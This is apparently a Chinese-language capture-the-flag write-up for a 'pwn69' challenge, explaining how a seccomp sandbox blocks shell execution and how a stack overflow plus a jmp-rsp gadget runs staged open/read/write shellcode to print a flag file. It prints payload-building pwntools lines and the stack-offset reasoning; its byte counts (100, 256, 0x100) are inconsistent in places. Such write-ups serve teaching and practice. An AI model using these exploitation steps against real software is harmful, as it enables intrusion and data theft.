pwn69
目录
题目
预计时间
6h
题目分析及截图
ORW是什么
当题目不允许直接执行/bin/sh(例如进制
execve,过滤ROP,沙箱只允许有限syscall),但是你仍然需要读取服务器上的某个Flag文件,就必须靠syscall来完成
open(“flag”, O_RDONLY)
打开flag文件,获得文件描述符
read(fd,buf,size)
读取flag内容到缓冲区
wirte(1,buf,size)
输出到标准输出
什么是沙箱?
沙箱指一种”限制程序能力的隔离环境”,让程序即使被攻击,也只能做非常有限的事情,不能危害系统。简单说,就是限制程序,只能做白名单里的操作
在pwn中最常见的就是 seccomp 沙箱 全称(Secure Computing Mode),它是Linux内核提供的一种”系统调用级别”的安全机制,用来限制进程可以调用哪些syscall。
我们可以使用工具 seccom-tools 来分析 seccomp沙箱,列出程序允许的系统调用
安装的教程很多,我这里不再说了
介绍一下使用方法: seccomp-tools dump ./pwn
我们反编译看一下程序的代码
- main函数
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
- sub_400949()函数
1 | __int64 sub_400949() |
- sub_400A16()函数
1 | int sub_400A16() |
- sub_4009EE()函数
1 | void sub_4009EE() |
- 在函数
main中
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);这个函数的作用就是从 0x123000 这个地址开始的 0x1000个字节,给它 写和执行的权限。
mmap这里的4代表执行,2代表写,1代表读。这里4就是可执行,2就是可写(4+2=6)
- 在函数
sub_400A16()中
char buf[32]定义了一个0x20字节的缓冲区buf
read(0, buf, 0x38uLL) 这里是很有可能发生栈溢出的,因为我们定义的buf的缓冲区空间只有0x20字节,但是这里
我们可以读入0x38字节字符,是很危险的。但是我们就是通过这里的栈溢出去进行攻击的
在函数
sub_400949()中我们可以看到 seccomp 这可以说是沙箱的标志
我们使用seccomp-tools工具来查看我们执行的系统调用有哪些。
1 | yyh@yyh:~/pwn69$ seccomp-tools dump ./pwn |
可以看到程序可以调用 open,read,write函数
所以我们可以利用栈溢出进行ORW来攻击
exp如下
1 | from pwn import * |
我感觉这个payload挺难理解的。我讲一下我疑惑的点
Q:在
payload = asm(shellcraft.read(0,mmap,100))它的意思是什么,我们往mmap中读入的是什么?A:这句的意思是:从标准输入中读取256字节数据到mmap地址,而我们往mmap读入的是:第二次发送的 ORW shellcode
Q:
payload = asm(shellcraft.read(0,mmap,100)) payload += asm("mov rax,0x123000;jmp rax")实现了什么功能?A:一句话总结 从标准输入(文件描述符0)读取0x100字节数据,
写入到内存地址0x123000(mmap)Q:
payload = payload.ljust(0x28, b'a')这里的=换成+=有什么影响?为什么我前面已经填充了很多字节的shellcode了但是还是需要填充缓冲区0x28字节,他不会造成溢出吗?而且返回地址这些偏移也会不准确?A:这两个写法的关键区别在于
ljust的对象不同,导致最终payload的布局完全不一样。首先 第一种 写法
1
2
3
4payload = asm(shellcraft.read(0,mmap,100))
payload += asm("mov rax,0x123000;jmp rax")
payload = payload.ljust(0x28, b'a')
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")这种写法是正确的,它是对整个payload进行ljust到0x28,并不是追加0x28字节的a,而是加以来(连带payload)一共是0x28字节,即确保我覆盖到栈上返回地址之前的位置
第二种写法
1
2
3
4
5payload = asm(shellcraft.read(0,mmap,100))
payload += asm("mov rax,0x123000;jmp rax")
payload += payload.ljust(0x28, b'a')
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")这种写法是将 0x28字节a 再次追加到原payload后面。
这会导致:
长度完全错了
栈偏移完全不对
覆盖不到正确的RIP
触发不了ROP
这不是我们想要的结果,是逻辑错误
这个问题困扰了我好长时间,如果你也不太理解,建议可以问一下gpt,我是问了他才知道的,ds感觉说的不太准确
Q:
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")实现了什么功能?这里为什么是0x30?A:首先这个
jmp_rsp是我们的返回地址。我们为什么要返回栈顶,其实不难理解。
我们在buf里输入我们的shellcode,返回栈顶就是去执行它嘛,然后跳转到mmap执行我们的ORW。
但是为什么要sub rsp, 0x30?这个30是哪里来的?当我们执行到jmp rsp时,rsp刚好指向save rbp后面的8字节
当ret跳到jmp rsp时:RSP指向的是save RIP后面的”下一段栈空间”,也就是payload中 0x28+8=0x30
Q:我们明明先发的shellcode就是
1
2payload = asm(shellcraft.read(0,mmap,100))
payload += asm("mov rax,0x123000;jmp rax")那么最后为什么我们还需要将rsp指向这里呢?我们不是已经执行过了吗?
A:因为它并不是自动执行的,它只是放到了栈上还没有执行。我们必须使用 **ROP gadget(jmp rsp)**才能让CPU去自动执行。
如果没有 jmp rsp:
- 程序不会跳到你写入栈上的shellcode
- 程序只会 ret 回原本的函数->导致程序崩溃
- 我的shellcode不会执行
简单两句话解释 :
stage1 shellcode(read + jmp mmap)只是你写在栈里的内容,不会自动运行。
ret → jmp_rsp → jmp rsp 才能把执行流跳到栈上的 shellcode。
Q:在 ORW_shellcode 中
shellcraft.read(3,mmap,100),这里面的3是什么?我们往mmap中读入的是什么?A:
这个
3是文件描述符fd,为什么是3?fd = 0(stdin)
fd = 1(stdout)
fd = 2(stderr)
所以第一个可用的文件描述符fd通常是3
那么我们往mmap中读入的是什么?
因为第一步是open /ctfshow——flag,所以这里我们是读入文件最多100字节
Q:
write(1,mmap,100)实现什么功能?A:写到 stdout ,让我看见flag
其实到这里已经很清楚了,用我的大白话来说,本道题的思路就是在buf缓冲区中注入shellcode,这个shellcode的作用就是读取ORW_shellcode到mmap(因为buf的缓冲区太小了不足以放下ORW_shellcode),接着跳转到这里。然后我们填满栈偏移直至0x28字节,使用rsp执行我们的shellcode跳转到mmap,执行ORW shellcode 获得flag
这道题我认为比较有难度,但是虽然这道题很难,但你已经走得很远了,坚持一下,肯定能攻克它!
希望可以帮到你,加油!